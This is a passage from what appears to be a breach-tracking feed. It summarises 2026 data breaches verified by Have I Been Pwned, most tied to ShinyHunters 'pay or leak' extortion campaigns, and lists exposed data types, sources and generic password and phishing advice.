Have I Been Pwned: Paidwork: https://haveibeenpwned.com/Breach/Paidwork
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-03-29; loaded 2026-07-19. Exposed data: Bank account numbers, Dates of birth, Device information, Education levels, Email addresses, Financial transactions, Genders, IP addresses, Names, Passwords, Personal interests, Phone numbers, Physical addresses, Profile photos. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Fluke breach: 821,100 accounts exposed
https://kevwire.com/record/hibp-fluke
Fluke breach: 821,100 accounts exposed (Jul 15, 2026).
In July 2026, electronic test and measurement equipment company Fluke was targeted in a ShinyHunters "pay or leak" extortion campaign . The group subsequently published more than 100GB of data allegedly taken from the company. The corpus contained largely corporate contact information, including over 800k unique email addresses, names, phone numbers and physical addresses. A large collection of support cases was also present.
Sources:
Have I Been Pwned: Fluke: https://haveibeenpwned.com/Breach/Fluke
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-07-01; loaded 2026-07-15. Exposed data: Email addresses, Employers, Job titles, Names, Physical addresses, Support tickets. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Goose Creek breach: 6,574,121 accounts exposed
https://kevwire.com/record/hibp-goosecreek
Goose Creek breach: 6,574,121 accounts exposed (Jul 15, 2026).
In June 2026, a party claiming to have access to data from Goose Creek Candle Company sent emails to a number of the company's customers , claiming the company had a security vulnerability and suffered a data breach. The data was subsequently sent to Have I Been Pwned and contained 6.6M unique email addresses along with names, phone numbers, physical addresses, order IDs and total spent. The data appears to have been obtained from the company's Shopify instance. Goose Creek is aware of the reports but was unable to provide Have I Been Pwned with any further information at the time of publication.
Sources:
Have I Been Pwned: Goose Creek: https://haveibeenpwned.com/Breach/GooseCreek
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-06-09; loaded 2026-07-15. Exposed data: Email addresses, Names, Phone numbers, Physical addresses, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Glendale Community College breach: 793,925 accounts exposed
https://kevwire.com/record/hibp-glendalecommunitycollege
Glendale Community College breach: 793,925 accounts exposed (Jul 11, 2026).
In June 2026, Glendale Community College was the target of a ShinyHunters "pay or leak" extortion campaign . Data allegedly obtained from Glendale was later published online and included almost 800k unique email addresses along with various other data fields, including names, addresses, phone numbers, Social Security numbers and other information relating to student enrolments. In its disclosure notice , the college advised that "the potentially impacted information may vary for each individual and may include all or just one of the above-listed types of information".
Sources:
Have I Been Pwned: Glendale Community College: https://haveibeenpwned.com/Breach/GlendaleCommunityCollege
Glendale Community College disclosure: https://glendale.edu/about-gcc/communications/update/
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-06-15; loaded 2026-07-11. Exposed data: Academic records, Dates of birth, Email addresses, Genders, Government issued IDs, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Moody Bible Institute breach: 2,303,416 accounts exposed
https://kevwire.com/record/hibp-moodybibleinstitute
Moody Bible Institute breach: 2,303,416 accounts exposed (Jul 3, 2026).
In June 2026, Moody Bible Institute was targeted by a ShinyHunters "pay or leak" extortion campaign . Over 2.3M unique email addresses and other personal data were later published publicly, including names, physical addresses, phone numbers, dates of birth and other information relating to donors, supporters, students and alumni. In their disclosure notice , Moody advised that they had "engaged both internal and external cybersecurity experts to thoroughly investigate the matter".
Sources:
Have I Been Pwned: Moody Bible Institute: https://haveibeenpwned.com/Breach/MoodyBibleInstitute
Moody Bible Institute disclosure: https://www.moodybible.org/news/2026/data-investigation/
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-06-15; loaded 2026-07-03. Exposed data: Dates of birth, Email addresses, Genders, Marital statuses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sysco breach: 2,691,852 accounts exposed
https://kevwire.com/record/hibp-sysco
Sysco breach: 2,691,852 accounts exposed (Jun 28, 2026).
In June 2026, the food distribution company Sysco was targeted by a ShinyHunters "pay or leak" extortion campaign . Data was subsequently published containing 2.7M unique email addresses belonging to staff and customers. The data also contained largely corporate contact information including names, phone numbers, physical addresses, internal job titles, and customer feedback.
Sources:
Have I Been Pwned: Sysco: https://haveibeenpwned.com/Breach/Sysco
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-06-15; loaded 2026-06-28. Exposed data: Customer feedback, Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### American Tower breach: 216,601 accounts exposed
https://kevwire.com/record/hibp-americantower
American Tower breach: 216,601 accounts exposed (Jun 26, 2026).
In June 2026, telecommunications tower infrastructure company American Tower was the target of a ShinyHunters "pay or leak" extortion campaign . The group subsequently published data allegedly taken from the company containing more than 200k unique email addresses belonging to employees, contractors, customers, and leads. Exposed data also included names, addresses, and phone numbers.
Sources:
Have I Been Pwned: American Tower: https://haveibeenpwned.com/Breach/AmericanTower
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-06-12; loaded 2026-06-26. Exposed data: Email addresses, Job titles, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Madison Square Garden Sports breach: 9,796,738 accounts exposed
https://kevwire.com/record/hibp-madisonsquaregardensports
Madison Square Garden Sports breach: 9,796,738 accounts exposed (Jun 24, 2026).
In June 2026, the sports and entertainment company Madison Square Garden Sports was the target of a ShinyHunters "pay or leak" extortion campaign . The group later published the alleged data, which included almost 10M unique email addresses spanning staff and customers, along with extensive personal, employment and customer relationship information.
Sources:
Have I Been Pwned: Madison Square Garden Sports: https://haveibeenpwned.com/Breach/MadisonSquareGardenSports
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-06-05; loaded 2026-06-24. Exposed data: Customer service records, Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### JCPenney breach: 368,418 accounts exposed
https://kevwire.com/record/hibp-jcpenney
JCPenney breach: 368,418 accounts exposed (Jun 20, 2026).
In June 2026, retailer JCPenney and associated brands were targeted in a ShinyHunters "pay or leak" extortion campaign . Data allegedly obtained from JCPenney through the exploitation of a critical zero-day vulnerability in Oracle PeopleSoft was later published publicly. The exposed records indicated they primarily related to internal HR systems and impacted current and former employees. The data included 368k corporate and personal email addresses, names, dates of birth, Social Security numbers, phone numbers and home addresses.
Sources:
Have I Been Pwned: JCPenney: https://haveibeenpwned.com/Breach/JCPenney
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-06-12; loaded 2026-06-20. Exposed data: Dates of birth, Email addresses, Government issued IDs, Job titles, Names, Phone numbers, Physical addresses, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Ralph Lauren breach: 139,903 accounts exposed
https://kevwire.com/record/hibp-ralphlauren
Ralph Lauren breach: 139,903 accounts exposed (Jun 18, 2026).
In June 2026, fashion retailer Ralph Lauren was targeted in a ShinyHunters "pay or leak" extortion campaign . The group subsequently published hundreds of gigabytes of data they claimed was obtained from the organisation's Salesforce instance, including 140k unique email addresses along with names, phone numbers, genders and age groups.
Sources:
Have I Been Pwned: Ralph Lauren: https://haveibeenpwned.com/Breach/RalphLauren
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-06-11; loaded 2026-06-18. Exposed data: Age groups, Email addresses, Genders, Names, Phone numbers. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### CFGI breach: 248,235 accounts exposed
https://kevwire.com/record/hibp-cfgi
CFGI breach: 248,235 accounts exposed (Jun 18, 2026).
In March 2026, the financial consulting and advisory firm CFGI was the target of a ShinyHunters "pay-or-leak" extortion campaign . The group subsequently publicised data allegedly obtained from CFGI comprising corporate contact information, including 243k unique email addresses, names, phone numbers and physical addresses.
Sources:
Have I Been Pwned: CFGI: https://haveibeenpwned.com/Breach/CFGI
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-03-06; loaded 2026-06-18. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### June 2026 Stealer Logs breach: 56,278,397 accounts exposed
https://kevwire.com/record/hibp-june2026stealerlogs
June 2026 Stealer Logs breach: 56,278,397 accounts exposed (Jun 15, 2026).
In June 2026, a collection of accumulated stealer logs from various sources was added to HIBP. The corpus comprised 56M unique email addresses across hundreds of millions of stealer log records. The data also contained 124M unique passwords, which have been added to Pwned Passwords and are now searchable. Individuals can view any records captured against their email address in the stealer logs section of their dashboard . Organisations can see logs affecting their domain via the stealer logs API .
Sources:
Have I Been Pwned: June 2026 Stealer Logs: https://haveibeenpwned.com/Breach/June2026StealerLogs
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-06-15; loaded 2026-06-15. Exposed data: Email addresses, Passwords. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Berkadia breach: 305,216 accounts exposed
https://kevwire.com/record/hibp-berkadia
Berkadia breach: 305,216 accounts exposed (Jun 15, 2026).
In March 2026, the commercial real estate finance company Berkadia was the target of a ShinyHunters "pay or leak" extortion campaign . The group subsequently published data they alleged was taken from Berkadia's Salesforce instance, including over 300k unique email addresses as well as names, physical addresses and phone numbers, among other data.
Sources:
Have I Been Pwned: Berkadia: https://haveibeenpwned.com/Breach/Berkadia
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-03-19; loaded 2026-06-15. Exposed data: Email addresses, Employers, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Infinite Campus breach: 137,123 accounts exposed
https://kevwire.com/record/hibp-infinitecampus
Infinite Campus breach: 137,123 accounts exposed (Jun 15, 2026).
In March 2026, the student information system Infinite Campus was targeted in a ShinyHunters "pay or leak" extortion campaign . The group subsequently published data they alleged was taken from Infinite Campus, containing 137k unique email addresses along with names, phone numbers, physical addresses and support tickets. Infinite Campus subsequently sent notifications , advising that the exposed data largely consisted of "names and contact information for school staff" and that "the majority is directory information commonly found on school websites".
Sources:
Have I Been Pwned: Infinite Campus: https://haveibeenpwned.com/Breach/InfiniteCampus
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-03-18; loaded 2026-06-15. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### University of Nottingham breach: 454,635 accounts exposed
https://kevwire.com/record/hibp-universityofnottingham
University of Nottingham breach: 454,635 accounts exposed (Jun 10, 2026).
In June 2026, the University of Nottingham was the target of a cyber attack , later linked to a ShinyHunters "pay or leak" extortion campaign. Tens of gigabytes of data were subsequently published online and included 455k unique email addresses along with extensive personal information including names, addresses, phone numbers, ethnicities, disabilities, passport numbers and information relating to academic enrolments and fee payments. In a post about the incident , the university advised that the breach affected both "current students, and alumni".
Sources:
Have I Been Pwned: University of Nottingham: https://haveibeenpwned.com/Breach/UniversityOfNottingham
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-06-09; loaded 2026-06-10. Exposed data: Academic records, Citizenship statuses, Dates of birth, Disabilities, Email addresses, Ethnicities, Genders, IP addresses, Names, Passport numbers, Phone numbers, Physical addresses, Purchases, Salutations, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Baker Distributing breach: 102,935 accounts exposed
https://kevwire.com/record/hibp-bakerdistributing
Baker Distributing breach: 102,935 accounts exposed (Jun 7, 2026).
In May 2026, the HVAC/R wholesale distributor Baker Distributing Company was added to the ShinyHunters data extortion group's "pay or leak" site . In early June, the group publicly published data they claimed had been obtained from Baker's SharePoint and Salesforce infrastructure including 103k unique email addresses along with names, physical addresses, phone numbers and tickets relating to the company's HVAC contractor customer base. The exposed data was largely corporate contact and support information with limited sensitivity.
Sources:
Have I Been Pwned: Baker Distributing: https://haveibeenpwned.com/Breach/BakerDistributing
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-05-23; loaded 2026-06-07. Exposed data: Email addresses, Names, Phone numbers, Physical addresses, Support tickets. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### BCD Travel breach: 396,313 accounts exposed
https://kevwire.com/record/hibp-bcdtravel
BCD Travel breach: 396,313 accounts exposed (Jun 5, 2026).
In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters "pay or leak" extortion campaign . Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets.
Sources:
Have I Been Pwned: BCD Travel: https://haveibeenpwned.com/Breach/BCDTravel
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-05-29; loaded 2026-06-05. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### DentaQuest breach: 2,553,599 accounts exposed
https://kevwire.com/record/hibp-dentaquest
DentaQuest breach: 2,553,599 accounts exposed (Jun 3, 2026).
In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files ( ASC X12 transaction sets ) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network" , and advised they had contained the attack and mitigated the threat.
Sources:
Have I Been Pwned: DentaQuest: https://haveibeenpwned.com/Breach/DentaQuest
DentaQuest disclosure: https://dentaquest.com/en/security-update-0526
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-05-23; loaded 2026-06-03. Exposed data: Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Edmunds breach: 177,860 accounts exposed
https://kevwire.com/record/hibp-edmunds
Edmunds breach: 177,860 accounts exposed (Jun 1, 2026).
In January 2026, the automotive research and car-shopping platform Edmunds was listed by the ShinyHunters hacking group as having been breached . Data purportedly obtained in the incident was later published publicly and included 178k unique email addresses, usernames, passwords, IP addresses, phone numbers and vehicle-related records.
Sources:
Have I Been Pwned: Edmunds: https://haveibeenpwned.com/Breach/Edmunds
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-01-24; loaded 2026-06-01. Exposed data: Device information, Email addresses, IP addresses, Passwords, Phone numbers, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Atlas Menu breach: 63,926 accounts exposed
https://kevwire.com/record/hibp-atlasmenu
Atlas Menu breach: 63,926 accounts exposed (May 30, 2026).
In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes.
Sources:
Have I Been Pwned: Atlas Menu: https://haveibeenpwned.com/Breach/AtlasMenu
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-05-30; loaded 2026-05-30. Exposed data: Email addresses, IP addresses, Passwords, Support tickets, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Charter breach: 4,851,517 accounts exposed
https://kevwire.com/record/hibp-charter
Charter breach: 4,851,517 accounts exposed (May 28, 2026).
In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign . The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated.
Sources:
Have I Been Pwned: Charter: https://haveibeenpwned.com/Breach/Charter
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-05-23; loaded 2026-05-28. Exposed data: Email addresses, Job titles, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Kemper breach: 269,299 accounts exposed
https://kevwire.com/record/hibp-kemper
Kemper breach: 269,299 accounts exposed (May 28, 2026).
In April 2026, the American insurance holding company Kemper Corporation was named by the ShinyHunters ransomware group in a "pay or leak" extortion campaign . The attackers allegedly accessed Kemper's Salesforce environment via social engineering as part of a broader campaign targeting hundreds of organisations using the same method. The group later published tens of gigabytes of data they claimed included internal directory data, Salesforce records and Stripe payment logs. Among the 269k unique email addresses were names, phone numbers, physical addresses and partial payment card data including the last 4 digits, expiry dates and card brands. Kemper confirmed the incident and stated they had engaged third-party cybersecurity experts and notified law enforcement.
Sources:
Have I Been Pwned: Kemper: https://haveibeenpwned.com/Breach/Kemper
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-15; loaded 2026-05-28. Exposed data: Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mytheresa breach: 84,108 accounts exposed
https://kevwire.com/record/hibp-mytheresa
Mytheresa breach: 84,108 accounts exposed (May 27, 2026).
In April 2026, the luxury fashion e-commerce platform Mytheresa was listed as a victim of the ShinyHunters "pay or leak" extortion group . After the ransom deadline passed, the group publicly released the data which contained 84k unique email addresses. The exposed data also included names, phone numbers, physical addresses, purchases and partial credit card data including card type, last 4 digits and expiry date.
Sources:
Have I Been Pwned: Mytheresa: https://haveibeenpwned.com/Breach/Mytheresa
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-12; loaded 2026-05-27. Exposed data: Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases, Salutations. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Ameriprise breach: 502,597 accounts exposed
https://kevwire.com/record/hibp-ameriprise
Ameriprise breach: 502,597 accounts exposed (May 26, 2026).
In March 2026, the financial services firm Ameriprise Financial was named by the ShinyHunters group in a "pay or leak" extortion campaign . The group claimed possession of more than 200GB of compressed data exfiltrated from Ameriprise's Salesforce environment and internal SharePoint infrastructure, and subsequently published the data after negotiations allegedly failed. The published data contained 500k unique email addresses as well as names, phone numbers, physical addresses and employer information. In their disclosure to state attorneys general , Ameriprise reported 47,876 affected people; the larger email address population represents contacts from Ameriprise's broader operational systems, including internal staff. Ameriprise further advised that they have "implemented heightened monitoring of your account(s) to include enhanced identity verification procedures".
Sources:
Have I Been Pwned: Ameriprise: https://haveibeenpwned.com/Breach/Ameriprise
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-03-02; loaded 2026-05-26. Exposed data: Email addresses, Employers, Financial transactions, Job titles, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### 7-Eleven breach: 185,256 accounts exposed
https://kevwire.com/record/hibp-7-eleven
7-Eleven breach: 185,256 accounts exposed (May 24, 2026).
In April 2026, 7-Eleven was the victim of a "pay or leak" extortion campaign by ShinyHunters , with the data later published that month. The incident exposed 185k unique email addresses, along with names, physical addresses, dates of birth and phone numbers. A small number of records also contained additional exposed data fields. The company later advised the breach was limited to "certain 7-Eleven systems used to store franchisee documents", a statement consistent with the exposed data.
Sources:
Have I Been Pwned: 7-Eleven: https://haveibeenpwned.com/Breach/7-Eleven
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-08; loaded 2026-05-24. Exposed data: Dates of birth, Email addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dragonica Lunaris breach: 126,293 accounts exposed
https://kevwire.com/record/hibp-dragonica
Dragonica Lunaris breach: 126,293 accounts exposed (May 21, 2026).
In December 2025, the European Dragonica private server Dragonica Lunaris suffered a data breach. The incident exposed 126k email addresses, usernames, dates of birth and bcrypt password hashes. The service operator confirmed the breach and advised it has since been fixed.
Sources:
Have I Been Pwned: Dragonica Lunaris: https://haveibeenpwned.com/Breach/Dragonica
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2025-12-06; loaded 2026-05-21. Exposed data: Dates of birth, Email addresses, Names, Passwords, Spoken languages, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Windows93 / Myspace93 breach: 46,105 accounts exposed
https://kevwire.com/record/hibp-windows93
Windows93 / Myspace93 breach: 46,105 accounts exposed (May 21, 2026).
In January 2021, the parody site Windows93 suffered a data breach of the Myspace93 sub-site after a beta application was exploited to download server files. The compromised data was later leaked in June and included 46k Myspace93 accounts containing email and IP addresses, usernames and passwords stored in plain text.
Sources:
Have I Been Pwned: Windows93 / Myspace93: https://haveibeenpwned.com/Breach/Windows93
Windows93 / Myspace93 disclosure: https://web.archive.org/web/20210704163048/https://www.windows93.net/dearCommunity.txt
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2021-01-01; loaded 2026-05-21. Exposed data: Email addresses, IP addresses, Passwords, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### CTT breach: 468,124 accounts exposed
https://kevwire.com/record/hibp-ctt
CTT breach: 468,124 accounts exposed (May 19, 2026).
In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum . The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel.
Sources:
Have I Been Pwned: CTT: https://haveibeenpwned.com/Breach/CTT
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-26; loaded 2026-05-19. Exposed data: Email addresses, Names, Phone numbers. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Addi breach: 34,532,941 accounts exposed
https://kevwire.com/record/hibp-addi
Addi breach: 34,532,941 accounts exposed (May 18, 2026).
In March 2026, the Colombian fintech company Addi identified unauthorised activity on its platform and advised customers that "it is possible that your personal information may have been compromised". The "pay or leak" extortion group ShinyHunters subsequently claimed responsibility and published a large trove of personal data allegedly obtained from Addi. The data included 34M unique email addresses from credit scoring requests, credit bureau records, customer identity records and email validation logs. It also contained government issued IDs (Cédula de Ciudadanía), estimated income, socioeconomic levels, purchases and other credit-related data points.
Sources:
Have I Been Pwned: Addi: https://haveibeenpwned.com/Breach/ADDI
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-03-25; loaded 2026-05-18. Exposed data: Age groups, Credit scores, Device information, Email addresses, Government issued IDs, Income levels, IP addresses, Latitude and longitude pairs, Names, Phone numbers, Physical addresses, Purchases, Socioeconomic levels. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Abrigo breach: 711,099 accounts exposed
https://kevwire.com/record/hibp-abrigo
Abrigo breach: 711,099 accounts exposed (May 14, 2026).
In April 2026, the fintech software company Abrigo was targeted in a "pay or leak" extortion attempt by the ShinyHunters group . Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year , the data fields described in that incident are consistent with the ShinyHunters data, namely that it was "business contact information" including "institution name, employee name, email addresses, and phone numbers".
Sources:
Have I Been Pwned: Abrigo: https://haveibeenpwned.com/Breach/Abrigo
Have I Been Pwned breach API: https://haveibeenpwned.com/api/v3/breaches
Verified by Have I Been Pwned. Breach date: 2026-04-14; loaded 2026-05-14. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.
Action: If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.
Kind: breach; regions: Global; provenance: pipeline.
KEV evidence not available.

### Canada Life breach: 237,810 accounts exposed
https://kevwire.com/record/hibp-canadalife
Canada Life breach: 237,810 accounts exposed (May 13, 2026).
